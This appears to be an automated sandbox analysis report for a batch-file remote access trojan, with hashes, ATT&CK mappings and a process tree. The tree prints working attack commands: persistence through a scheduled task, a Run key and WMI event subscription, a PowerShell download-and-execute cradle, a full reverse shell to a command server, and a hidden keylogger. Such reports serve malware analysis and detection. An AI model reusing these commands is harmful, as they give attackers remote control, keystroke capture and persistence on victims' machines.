aef02491af52df263f62fbcfed5d6714f5cbce3a09c7a7896a7903937b97ba34

Analysis

max time kernel
149s
max time network
151s
platform
windows11-21h2_x64
resource
win11-20260513-en
resource tags

arch:x64arch:x86image:win11-20260513-enlocale:en-usos:windows11-21h2-x64systemwindows
submitted
29/05/2026, 01:31

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General

Target
rat_build_165120_014441.bat
Size 4KB
Sample260529-bxn8dsfz8l
SHA256 aef02491af52df263f62fbcfed5d6714f5cbce3a09c7a7896a7903937b97ba34
MD5 9adf9fa9765716f436a7856709f65ee0
SHA1 68ea19fa61cb198c865e480dd6e8484826225b7a
SHA512 16deb533a193d207c964882d411b41c7c896ccff4fbf6dcc5aa2fd2ada50819c95f66d681c7a6f2810a789478722d02a4c381a2f1e8b5a9459fa1116ce68a11a
SSDEEP 96:1IvvWO/IzLV99SG8wi4K0bU5LQ9DWm/GO5DhDglm4bhkJUf/iFgZk8mvlo16D+:17O/Yj9YuU69DxtLJUf/iFgkHlP+
TLSH
T1C7A1C823579B7210CA74651CDA363D5863ACEAF71315CD5EBB88CCC44A4CE8784295D7
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

execution persistence

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
http://payload.server/update_165120.ps1

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
3164	powershell.exe
1116	powershell.exe
3464	powershell.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1636999435-3883760687-346127294-1000\Software\Microsoft\Windows\CurrentVersion\Run\Updater_165120 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\_165120.bat"	reg.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
1	checkip.amazonaws.com

Gathers network information 2 TTPs 1 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
4696	NETSTAT.EXE

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

T1082

pid	Process
2428	systeminfo.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
4440	reg.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
2828	schtasks.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
1116	powershell.exe
1116	powershell.exe
3164	powershell.exe
3164	powershell.exe
3464	powershell.exe
3464	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeIncreaseQuotaPrivilege	4964	WMIC.exe
Token: SeSecurityPrivilege	4964	WMIC.exe
Token: SeTakeOwnershipPrivilege	4964	WMIC.exe
Token: SeLoadDriverPrivilege	4964	WMIC.exe
Token: SeSystemProfilePrivilege	4964	WMIC.exe
Token: SeSystemtimePrivilege	4964	WMIC.exe
Token: SeProfSingleProcessPrivilege	4964	WMIC.exe
Token: SeIncBasePriorityPrivilege	4964	WMIC.exe
Token: SeCreatePagefilePrivilege	4964	WMIC.exe
Token: SeBackupPrivilege	4964	WMIC.exe
Token: SeRestorePrivilege	4964	WMIC.exe
Token: SeShutdownPrivilege	4964	WMIC.exe
Token: SeDebugPrivilege	4964	WMIC.exe
Token: SeSystemEnvironmentPrivilege	4964	WMIC.exe
Token: SeRemoteShutdownPrivilege	4964	WMIC.exe
Token: SeUndockPrivilege	4964	WMIC.exe
Token: SeManageVolumePrivilege	4964	WMIC.exe
Token: 33	4964	WMIC.exe
Token: 34	4964	WMIC.exe
Token: 35	4964	WMIC.exe
Token: 36	4964	WMIC.exe
Token: SeIncreaseQuotaPrivilege	4964	WMIC.exe
Token: SeSecurityPrivilege	4964	WMIC.exe
Token: SeTakeOwnershipPrivilege	4964	WMIC.exe
Token: SeLoadDriverPrivilege	4964	WMIC.exe
Token: SeSystemProfilePrivilege	4964	WMIC.exe
Token: SeSystemtimePrivilege	4964	WMIC.exe
Token: SeProfSingleProcessPrivilege	4964	WMIC.exe
Token: SeIncBasePriorityPrivilege	4964	WMIC.exe
Token: SeCreatePagefilePrivilege	4964	WMIC.exe
Token: SeBackupPrivilege	4964	WMIC.exe
Token: SeRestorePrivilege	4964	WMIC.exe
Token: SeShutdownPrivilege	4964	WMIC.exe
Token: SeDebugPrivilege	4964	WMIC.exe
Token: SeSystemEnvironmentPrivilege	4964	WMIC.exe
Token: SeRemoteShutdownPrivilege	4964	WMIC.exe
Token: SeUndockPrivilege	4964	WMIC.exe
Token: SeManageVolumePrivilege	4964	WMIC.exe
Token: 33	4964	WMIC.exe
Token: 34	4964	WMIC.exe
Token: 35	4964	WMIC.exe
Token: 36	4964	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1096	WMIC.exe
Token: SeSecurityPrivilege	1096	WMIC.exe
Token: SeTakeOwnershipPrivilege	1096	WMIC.exe
Token: SeLoadDriverPrivilege	1096	WMIC.exe
Token: SeSystemProfilePrivilege	1096	WMIC.exe
Token: SeSystemtimePrivilege	1096	WMIC.exe
Token: SeProfSingleProcessPrivilege	1096	WMIC.exe
Token: SeIncBasePriorityPrivilege	1096	WMIC.exe
Token: SeCreatePagefilePrivilege	1096	WMIC.exe
Token: SeBackupPrivilege	1096	WMIC.exe
Token: SeRestorePrivilege	1096	WMIC.exe
Token: SeShutdownPrivilege	1096	WMIC.exe
Token: SeDebugPrivilege	1096	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1096	WMIC.exe
Token: SeRemoteShutdownPrivilege	1096	WMIC.exe
Token: SeUndockPrivilege	1096	WMIC.exe
Token: SeManageVolumePrivilege	1096	WMIC.exe
Token: 33	1096	WMIC.exe
Token: 34	1096	WMIC.exe
Token: 35	1096	WMIC.exe
Token: 36	1096	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1096	WMIC.exe

Suspicious use of WriteProcessMemory 10 IoCs

description	pid	Process	procid_target
PID 1820 wrote to memory of 2828	1820	cmd.exe	81
PID 1820 wrote to memory of 4440	1820	cmd.exe	82
PID 1820 wrote to memory of 4964	1820	cmd.exe	83
PID 1820 wrote to memory of 1096	1820	cmd.exe	84
PID 1820 wrote to memory of 3064	1820	cmd.exe	85
PID 1820 wrote to memory of 2428	1820	cmd.exe	86
PID 1820 wrote to memory of 4696	1820	cmd.exe	90
PID 1820 wrote to memory of 1116	1820	cmd.exe	91
PID 1820 wrote to memory of 3164	1820	cmd.exe	92
PID 1820 wrote to memory of 3464	1820	cmd.exe	93

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\rat_build_165120_014441.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:1820
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn "WinUpdate_165120" /tr "C:\Users\Admin\AppData\Local\Temp\_165120.bat" /sc onlogon /ru "SYSTEM" /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:2828
- C:\Windows\system32\reg.exe
  reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v "Updater_165120" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\_165120.bat" /f
  2⤵
  - Adds Run key to start application
  - Modifies registry key
  PID:4440
- C:\Windows\System32\Wbem\WMIC.exe
  wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter CREATE Name="filt_165120", EventNameSpace="root\cimv2", QueryLanguage="WQL", Query="SELECT * FROM Win32_ProcessStartTrace WHERE ProcessName='explorer.exe'"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:4964
- C:\Windows\System32\Wbem\WMIC.exe
  wmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer CREATE Name="cons_165120", CommandLineTemplate="cmd /c C:\Users\Admin\AppData\Local\Temp\_165120.bat"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:1096
- C:\Windows\system32\curl.exe
  curl -s http://checkip.amazonaws.com -o C:\Users\Admin\AppData\Local\Temp\ip_165120.txt
  2⤵
  PID:3064
- C:\Windows\system32\systeminfo.exe
  systeminfo
  2⤵
  - Gathers system information
  PID:2428
- C:\Windows\system32\NETSTAT.EXE
  netstat -an
  2⤵
  - Gathers network information
  PID:4696
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "IEX((New-Object Net.WebClient).DownloadString('http://payload.server/update_165120.ps1'))"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:1116
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "$client = New-Object System.Net.Sockets.TCPClient('c2.server.com',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:3164
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "$w=(New-Object -ComObject WScript.Shell).Popup("Updating...",0,"Windows",0+48);$k=New-Object -ComObject WScript.Shell;$k.Run("powershell -WindowStyle Hidden -Command "$d=[Environment]::GetFolderPath('Desktop');$i=0;while($true){$key=[Console]::ReadKey($true);$t=$key.Key.ToString();if($t -eq 'Enter'){$t='[ENTER]'};Add-Content -Path $d\log.txt -Value $t}"),0,true"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:3464

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 d69b7d84970cb04cd069299fd8aa9cef8394999588bead979104dc3cb743b4f2
MD5 5f4c933102a824f41e258078e34165a7
SHA1 d2f9e997b2465d3ae7d91dad8d99b77a2332b6ee
SHA512 a7556b2be1a69dbc1f7ff4c1c25581a28cb885c7e1116632c535fee5facaa99067bcead8f02499980f1d999810157d0fc2f9e45c200dee7d379907ef98a6f034
TLSH
T15651CF323375B1D489163F07192C59C463BF8355FA94AF4CB698624ED92700B9F222F3
MD5 SHA1 SHA512 TLSH

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StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 fd949ff64bc93b6bcff447de4f7307dbd4cfb391faf81efe2a845f8349d9b10c
MD5 8a9ce637f47cb4acdbef782b0c075292
SHA1 61c4f0209f159fae19220a78c4428848c90d0e01
SHA512 6452ea5fff0d3139dd61de41cb37738a228bd13f7b039aa519acb8ab5f2084c10473415f0d3631a68829e81da3dc6018e37cff3618c48ae358c9a94fa91eb122
TLSH
T1B7117A33B79CC134C8D9117A108DAD01B2B5C3CB049EDE8B7A84C508E57F58ADB641E4
MD5 SHA1 SHA512 TLSH

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StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 a7108d09ed5787a993772c3af0c34fab2076625a6a833dee04f8ac5ee3c0fdf7
MD5 e32299018b5bdbe23bce6f4189b4dcd5
SHA1 236043d1e8304464e8a4937382d9eff0fd6973df
SHA512 37e9419afbceac6aa9b5406f3013ac3f349e5ccf4038e9d37261f7bbdedc6b212917a20aff16b08539c5ba823aa84e561097c83bf8eab162b0a308dfa3497726
TLSH
T1A2117A33B79CC1B5C8D9117A1089AD11B1B6C3CB049EDECB7A84C508E57F58ADB641A4
MD5 SHA1 SHA512 TLSH

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__PSScriptPolicyTest_ij0dkv5s.nea.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ij0dkv5s.nea.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

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memory/1116-3-0x00000202C3490000-0x00000202C34B2000-memory.dmp

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memory/1116-12-0x00000202AA680000-0x00000202AB142000-memory.dmp

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memory/3164-22-0x000001AFABC60000-0x000001AFAC722000-memory.dmp

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memory/3464-31-0x000001B221960000-0x000001B222422000-memory.dmp

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